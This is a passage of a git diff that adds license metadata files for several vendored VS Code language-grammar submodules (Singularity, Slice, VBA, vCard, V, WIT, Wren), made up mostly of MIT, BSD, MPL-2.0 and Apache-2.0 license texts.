+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: "[MIT](LICENSE.md)"
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-singularity.dep.yml b/vendor/licenses/git_submodule/vscode-singularity.dep.yml
new file mode 100644
index 0000000000..38024fbd6d
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-singularity.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-singularity
+version: d20475c43a46332ec9b64ce678280789b93b67d0
+type: git_submodule
+homepage: https://github.com/onnovalkering/vscode-singularity
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2019-present Onno Valkering
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-slice.dep.yml b/vendor/licenses/git_submodule/vscode-slice.dep.yml
new file mode 100644
index 0000000000..21c9d8e950
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-slice.dep.yml
@@ -0,0 +1,39 @@
+---
+name: vscode-slice
+version: 77abd6ad4c744272c76ab2bd2f387418d11f6e6d
+type: git_submodule
+homepage: https://github.com/zeroc-ice/vscode-slice
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |
+    BSD 3-Clause License
+
+    Copyright (c) 2014-2018, ZeroC, Inc.
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, this
+      list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+
+    * Neither the name of the copyright holder nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-vba.dep.yml b/vendor/licenses/git_submodule/vscode-vba.dep.yml
new file mode 100644
index 0000000000..9b45fcaf04
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-vba.dep.yml
@@ -0,0 +1,405 @@
+---
+name: vscode-vba
+version: 81317fae2433648ca89606a39bd5af7074304b01
+type: git_submodule
+homepage: https://github.com/serkonda7/vscode-vba.git
+license: mpl-2.0
+licenses:
+- sources: LICENSE.txt
+  text: |
+    Mozilla Public License Version 2.0
+    ==================================
+
+    1. Definitions
+    --------------
+
+    1.1. "Contributor"
+        means each individual or legal entity that creates, contributes to
+        the creation of, or owns Covered Software.
+
+    1.2. "Contributor Version"
+        means the combination of the Contributions of others (if any) used
+        by a Contributor and that particular Contributor's Contribution.
+
+    1.3. "Contribution"
+        means Covered Software of a particular Contributor.
+
+    1.4. "Covered Software"
+        means Source Code Form to which the initial Contributor has attached
+        the notice in Exhibit A, the Executable Form of such Source Code
+        Form, and Modifications of such Source Code Form, in each case
+        including portions thereof.
+
+    1.5. "Incompatible With Secondary Licenses"
+        means
+
+        (a) that the initial Contributor has attached the notice described
+            in Exhibit B to the Covered Software; or
+
+        (b) that the Covered Software was made available under the terms of
+            version 1.1 or earlier of the License, but not also under the
+            terms of a Secondary License.
+
+    1.6. "Executable Form"
+        means any form of the work other than Source Code Form.
+
+    1.7. "Larger Work"
+        means a work that combines Covered Software with other material, in
+        a separate file or files, that is not Covered Software.
+
+    1.8. "License"
+        means this document.
+
+    1.9. "Licensable"
+        means having the right to grant, to the maximum extent possible,
+        whether at the time of the initial grant or subsequently, any and
+        all of the rights conveyed by this License.
+
+    1.10. "Modifications"
+        means any of the following:
+
+        (a) any file in Source Code Form that results from an addition to,
+            deletion from, or modification of the contents of Covered
+            Software; or
+
+        (b) any new file in Source Code Form that contains any Covered
+            Software.
+
+    1.11. "Patent Claims" of a Contributor
+        means any patent claim(s), including without limitation, method,
+        process, and apparatus claims, in any patent Licensable by such
+        Contributor that would be infringed, but for the grant of the
+        License, by the making, using, selling, offering for sale, having
+        made, import, or transfer of either its Contributions or its
+        Contributor Version.
+
+    1.12. "Secondary License"
+        means either the GNU General Public License, Version 2.0, the GNU
+        Lesser General Public License, Version 2.1, the GNU Affero General
+        Public License, Version 3.0, or any later versions of those
+        licenses.
+
+    1.13. "Source Code Form"
+        means the form of the work preferred for making modifications.
+
+    1.14. "You" (or "Your")
+        means an individual or a legal entity exercising rights under this
+        License. For legal entities, "You" includes any entity that
+        controls, is controlled by, or is under common control with You. For
+        purposes of this definition, "control" means (a) the power, direct
+        or indirect, to cause the direction or management of such entity,
+        whether by contract or otherwise, or (b) ownership of more than
+        fifty percent (50%) of the outstanding shares or beneficial
+        ownership of such entity.
+
+    2. License Grants and Conditions
+    --------------------------------
+
+    2.1. Grants
+
+    Each Contributor hereby grants You a world-wide, royalty-free,
+    non-exclusive license:
+
+    (a) under intellectual property rights (other than patent or trademark)
+        Licensable by such Contributor to use, reproduce, make available,
+        modify, display, perform, distribute, and otherwise exploit its
+        Contributions, either on an unmodified basis, with Modifications, or
+        as part of a Larger Work; and
+
+    (b) under Patent Claims of such Contributor to make, use, sell, offer
+        for sale, have made, import, and otherwise transfer either its
+        Contributions or its Contributor Version.
+
+    2.2. Effective Date
+
+    The licenses granted in Section 2.1 with respect to any Contribution
+    become effective for each Contribution on the date the Contributor first
+    distributes such Contribution.
+
+    2.3. Limitations on Grant Scope
+
+    The licenses granted in this Section 2 are the only rights granted under
+    this License. No additional rights or licenses will be implied from the
+    distribution or licensing of Covered Software under this License.
+    Notwithstanding Section 2.1(b) above, no patent license is granted by a
+    Contributor:
+
+    (a) for any code that a Contributor has removed from Covered Software;
+        or
+
+    (b) for infringements caused by: (i) Your and any other third party's
+        modifications of Covered Software, or (ii) the combination of its
+        Contributions with other software (except as part of its Contributor
+        Version); or
+
+    (c) under Patent Claims infringed by Covered Software in the absence of
+        its Contributions.
+
+    This License does not grant any rights in the trademarks, service marks,
+    or logos of any Contributor (except as may be necessary to comply with
+    the notice requirements in Section 3.4).
+
+    2.4. Subsequent Licenses
+
+    No Contributor makes additional grants as a result of Your choice to
+    distribute the Covered Software under a subsequent version of this
+    License (see Section 10.2) or under the terms of a Secondary License (if
+    permitted under the terms of Section 3.3).
+
+    2.5. Representation
+
+    Each Contributor represents that the Contributor believes its
+    Contributions are its original creation(s) or it has sufficient rights
+    to grant the rights to its Contributions conveyed by this License.
+
+    2.6. Fair Use
+
+    This License is not intended to limit any rights You have under
+    applicable copyright doctrines of fair use, fair dealing, or other
+    equivalents.
+
+    2.7. Conditions
+
+    Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
+    in Section 2.1.
+
+    3. Responsibilities
+    -------------------
+
+    3.1. Distribution of Source Form
+
+    All distribution of Covered Software in Source Code Form, including any
+    Modifications that You create or to which You contribute, must be under
+    the terms of this License. You must inform recipients that the Source
+    Code Form of the Covered Software is governed by the terms of this
+    License, and how they can obtain a copy of this License. You may not
+    attempt to alter or restrict the recipients' rights in the Source Code
+    Form.
+
+    3.2. Distribution of Executable Form
+
+    If You distribute Covered Software in Executable Form then:
+
+    (a) such Covered Software must also be made available in Source Code
+        Form, as described in Section 3.1, and You must inform recipients of
+        the Executable Form how they can obtain a copy of such Source Code
+        Form by reasonable means in a timely manner, at a charge no more
+        than the cost of distribution to the recipient; and
+
+    (b) You may distribute such Executable Form under the terms of this
+        License, or sublicense it under different terms, provided that the
+        license for the Executable Form does not attempt to limit or alter
+        the recipients' rights in the Source Code Form under this License.
+
+    3.3. Distribution of a Larger Work
+
+    You may create and distribute a Larger Work under terms of Your choice,
+    provided that You also comply with the requirements of this License for
+    the Covered Software. If the Larger Work is a combination of Covered
+    Software with a work governed by one or more Secondary Licenses, and the
+    Covered Software is not Incompatible With Secondary Licenses, this
+    License permits You to additionally distribute such Covered Software
+    under the terms of such Secondary License(s), so that the recipient of
+    the Larger Work may, at their option, further distribute the Covered
+    Software under the terms of either this License or such Secondary
+    License(s).
+
+    3.4. Notices
+
+    You may not remove or alter the substance of any license notices
+    (including copyright notices, patent notices, disclaimers of warranty,
+    or limitations of liability) contained within the Source Code Form of
+    the Covered Software, except that You may alter any license notices to
+    the extent required to remedy known factual inaccuracies.
+
+    3.5. Application of Additional Terms
+
+    You may choose to offer, and to charge a fee for, warranty, support,
+    indemnity or liability obligations to one or more recipients of Covered
+    Software. However, You may do so only on Your own behalf, and not on
+    behalf of any Contributor. You must make it absolutely clear that any
+    such warranty, support, indemnity, or liability obligation is offered by
+    You alone, and You hereby agree to indemnify every Contributor for any
+    liability incurred by such Contributor as a result of warranty, support,
+    indemnity or liability terms You offer. You may include additional
+    disclaimers of warranty and limitations of liability specific to any
+    jurisdiction.
+
+    4. Inability to Comply Due to Statute or Regulation
+    ---------------------------------------------------
+
+    If it is impossible for You to comply with any of the terms of this
+    License with respect to some or all of the Covered Software due to
+    statute, judicial order, or regulation then You must: (a) comply with
+    the terms of this License to the maximum extent possible; and (b)
+    describe the limitations and the code they affect. Such description must
+    be placed in a text file included with all distributions of the Covered
+    Software under this License. Except to the extent prohibited by statute
+    or regulation, such description must be sufficiently detailed for a
+    recipient of ordinary skill to be able to understand it.
+
+    5. Termination
+    --------------
+
+    5.1. The rights granted under this License will terminate automatically
+    if You fail to comply with any of its terms. However, if You become
+    compliant, then the rights granted under this License from a particular
+    Contributor are reinstated (a) provisionally, unless and until such
+    Contributor explicitly and finally terminates Your grants, and (b) on an
+    ongoing basis, if such Contributor fails to notify You of the
+    non-compliance by some reasonable means prior to 60 days after You have
+    come back into compliance. Moreover, Your grants from a particular
+    Contributor are reinstated on an ongoing basis if such Contributor
+    notifies You of the non-compliance by some reasonable means, this is the
+    first time You have received notice of non-compliance with this License
+    from such Contributor, and You become compliant prior to 30 days after
+    Your receipt of the notice.
+
+    5.2. If You initiate litigation against any entity by asserting a patent
+    infringement claim (excluding declaratory judgment actions,
+    counter-claims, and cross-claims) alleging that a Contributor Version
+    directly or indirectly infringes any patent, then the rights granted to
+    You by any and all Contributors for the Covered Software under Section
+    2.1 of this License shall terminate.
+
+    5.3. In the event of termination under Sections 5.1 or 5.2 above, all
+    end user license agreements (excluding distributors and resellers) which
+    have been validly granted by You or Your distributors under this License
+    prior to termination shall survive termination.
+
+    ************************************************************************
+    *                                                                      *
+    *  6. Disclaimer of Warranty                                           *
+    *  -------------------------                                           *
+    *                                                                      *
+    *  Covered Software is provided under this License on an "as is"       *
+    *  basis, without warranty of any kind, either expressed, implied, or  *
+    *  statutory, including, without limitation, warranties that the       *
+    *  Covered Software is free of defects, merchantable, fit for a        *
+    *  particular purpose or non-infringing. The entire risk as to the     *
+    *  quality and performance of the Covered Software is with You.        *
+    *  Should any Covered Software prove defective in any respect, You     *
+    *  (not any Contributor) assume the cost of any necessary servicing,   *
+    *  repair, or correction. This disclaimer of warranty constitutes an   *
+    *  essential part of this License. No use of any Covered Software is   *
+    *  authorized under this License except under this disclaimer.         *
+    *                                                                      *
+    ************************************************************************
+
+    ************************************************************************
+    *                                                                      *
+    *  7. Limitation of Liability                                          *
+    *  --------------------------                                          *
+    *                                                                      *
+    *  Under no circumstances and under no legal theory, whether tort      *
+    *  (including negligence), contract, or otherwise, shall any           *
+    *  Contributor, or anyone who distributes Covered Software as          *
+    *  permitted above, be liable to You for any direct, indirect,         *
+    *  special, incidental, or consequential damages of any character      *
+    *  including, without limitation, damages for lost profits, loss of    *
+    *  goodwill, work stoppage, computer failure or malfunction, or any    *
+    *  and all other commercial damages or losses, even if such party      *
+    *  shall have been informed of the possibility of such damages. This   *
+    *  limitation of liability shall not apply to liability for death or   *
+    *  personal injury resulting from such party's negligence to the       *
+    *  extent applicable law prohibits such limitation. Some               *
+    *  jurisdictions do not allow the exclusion or limitation of           *
+    *  incidental or consequential damages, so this exclusion and          *
+    *  limitation may not apply to You.                                    *
+    *                                                                      *
+    ************************************************************************
+
+    8. Litigation
+    -------------
+
+    Any litigation relating to this License may be brought only in the
+    courts of a jurisdiction where the defendant maintains its principal
+    place of business and such litigation shall be governed by laws of that
+    jurisdiction, without reference to its conflict-of-law provisions.
+    Nothing in this Section shall prevent a party's ability to bring
+    cross-claims or counter-claims.
+
+    9. Miscellaneous
+    ----------------
+
+    This License represents the complete agreement concerning the subject
+    matter hereof. If any provision of this License is held to be
+    unenforceable, such provision shall be reformed only to the extent
+    necessary to make it enforceable. Any law or regulation which provides
+    that the language of a contract shall be construed against the drafter
+    shall not be used to construe this License against a Contributor.
+
+    10. Versions of the License
+    ---------------------------
+
+    10.1. New Versions
+
+    Mozilla Foundation is the license steward. Except as provided in Section
+    10.3, no one other than the license steward has the right to modify or
+    publish new versions of this License. Each version will be given a
+    distinguishing version number.
+
+    10.2. Effect of New Versions
+
+    You may distribute the Covered Software under the terms of the version
+    of the License under which You originally received the Covered Software,
+    or under the terms of any subsequent version published by the license
+    steward.
+
+    10.3. Modified Versions
+
+    If you create software not governed by this License, and you want to
+    create a new license for such software, you may create and use a
+    modified version of this License if you rename the license and remove
+    any references to the name of the license steward (except to note that
+    such modified license differs from this License).
+
+    10.4. Distributing Source Code Form that is Incompatible With Secondary
+    Licenses
+
+    If You choose to distribute Source Code Form that is Incompatible With
+    Secondary Licenses under the terms of this version of the License, the
+    notice described in Exhibit B of this License must be attached.
+
+    Exhibit A - Source Code Form License Notice
+    -------------------------------------------
+
+      This Source Code Form is subject to the terms of the Mozilla Public
+      License, v. 2.0. If a copy of the MPL was not distributed with this
+      file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+    If it is not possible or desirable to put the notice in a particular
+    file, then You may include the notice in a location (such as a LICENSE
+    file in a relevant directory) where a recipient would be likely to look
+    for such a notice.
+
+    You may add additional accurate notices of copyright ownership.
+
+    Exhibit B - "Incompatible With Secondary Licenses" Notice
+    ---------------------------------------------------------
+
+      This Source Code Form is "Incompatible With Secondary Licenses", as
+      defined by the Mozilla Public License, v. 2.0.
+- sources: README.md
+  text: |-
+    Source code, grammars and snippets are provided under the [Mozilla Public License (MPL-2.0)](LICENSE.txt).
+
+    The icon is provided under [CC-BY-4.0](images/LICENSE.txt), courtesy of the GitHub Explore authors.
+
+
+    <!-- links -->
+    [ci-badge]: https://github.com/serkonda7/vscode-vba/actions/workflows/ci.yml/badge.svg
+    [ci-status]: https://github.com/serkonda7/vscode-vba/actions/workflows/ci.yml
+
+    [badge-installs-market]: https://img.shields.io/visual-studio-marketplace/i/serkonda7.vscode-vba?label=Installs
+    [badge-installs-vsx]: https://img.shields.io/open-vsx/dt/serkonda7/vscode-vba?label=VSX%20downloads
+    [vs-marketplace]: https://marketplace.visualstudio.com/items?itemName=serkonda7.vscode-vba
+    [open-vsx]: https://open-vsx.org/extension/serkonda7/vscode-vba
+
+    [discussions]: https://github.com/serkonda7/vscode-vba/discussions
+
+    [gh-linguist]: https://github.com/github-linguist/linguist/tree/master/vendor
+
+    [sponsors-badge]: https://img.shields.io/badge/Sponsor-GitHub-blue.svg
+    [sponsors-profile]: https://github.com/sponsors/serkonda7
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-vcard.dep.yml b/vendor/licenses/git_submodule/vscode-vcard.dep.yml
new file mode 100644
index 0000000000..d7060fd389
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-vcard.dep.yml
@@ -0,0 +1,21 @@
+---
+name: vscode-vcard
+version: 875ceb468d7042685faa3a8f0db3bef3a3a1aaac
+type: git_submodule
+homepage: https://github.com/cstrachan88/vscode-vcard.git
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |-
+    The MIT License
+
+    Copyright 2019 Courtney Strachan
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+- sources: README.md
+  text: This project is licensed under the [MIT License](LICENSE.txt).
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-vlang.dep.yml b/vendor/licenses/git_submodule/vscode-vlang.dep.yml
new file mode 100644
index 0000000000..6e4e1b88c7
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-vlang.dep.yml
@@ -0,0 +1,38 @@
+---
+name: vscode-vlang
+version: 0d7778ffc6d524f867cdd72027d99ceb5687fe0f
+type: git_submodule
+homepage: https://github.com/0x9ef/vscode-vlang
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    MIT License
+
+    Copyright (c) 2019 0x9ef
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: |-
+    [MIT](./LICENSE)
+
+    <!-- Links -->
+    [vs-code]: https://code.visualstudio.com/
+    [market-ext-link]: https://marketplace.visualstudio.com/items?itemName=vlanguage.vscode-vlang
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-wit.dep.yml b/vendor/licenses/git_submodule/vscode-wit.dep.yml
new file mode 100644
index 0000000000..6f7072fc57
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-wit.dep.yml
@@ -0,0 +1,228 @@
+---
+name: vscode-wit
+version: e4c1ca60cae7767a6bd4330dd5580f1d9e4f67e3
+type: git_submodule
+homepage: https://github.com/bytecodealliance/vscode-wit.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+
+
+    --- LLVM Exceptions to the Apache 2.0 License ----
+
+    As an exception, if, as a result of your compiling your source code, portions
+    of this Software are embedded into an Object form of such source code, you
+    may redistribute such embedded portions in such Object form without complying
+    with the conditions of Sections 4(a), 4(b) and 4(d) of the License.
+
+    In addition, if you combine or link compiled forms of this Software with
+    software that is licensed under the GPLv2 ("Combined Software") and if a
+    court of competent jurisdiction determines that the patent provision (Section
+    3), the indemnity provision (Section 9) or other Section of the License
+    conflicts with the conditions of the GPLv2, you may retroactively and
+    prospectively choose to deem waived or otherwise exclude such Section(s) of
+    the License, but only in their entirety and only with respect to the Combined
+    Software.
+notices: []
diff --git a/vendor/licenses/git_submodule/vscode-wren.dep.yml b/vendor/licenses/git_submodule/vscode-wren.dep.yml
new file mode 100644
index 0000000000..31b9044c9d
--- /dev/null
+++ b/vendor/licenses/git_submodule/vscode-wren.dep.yml
@@ -0,0 +1,31 @@
+---
+name: vscode-wren
+version: 6a0bab51586ff0c01dda151445fa2208d4488db9
+type: git_submodule
+homepage: https://github.com/Nelarius/vscode-wren.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    The MIT License (MIT)
+
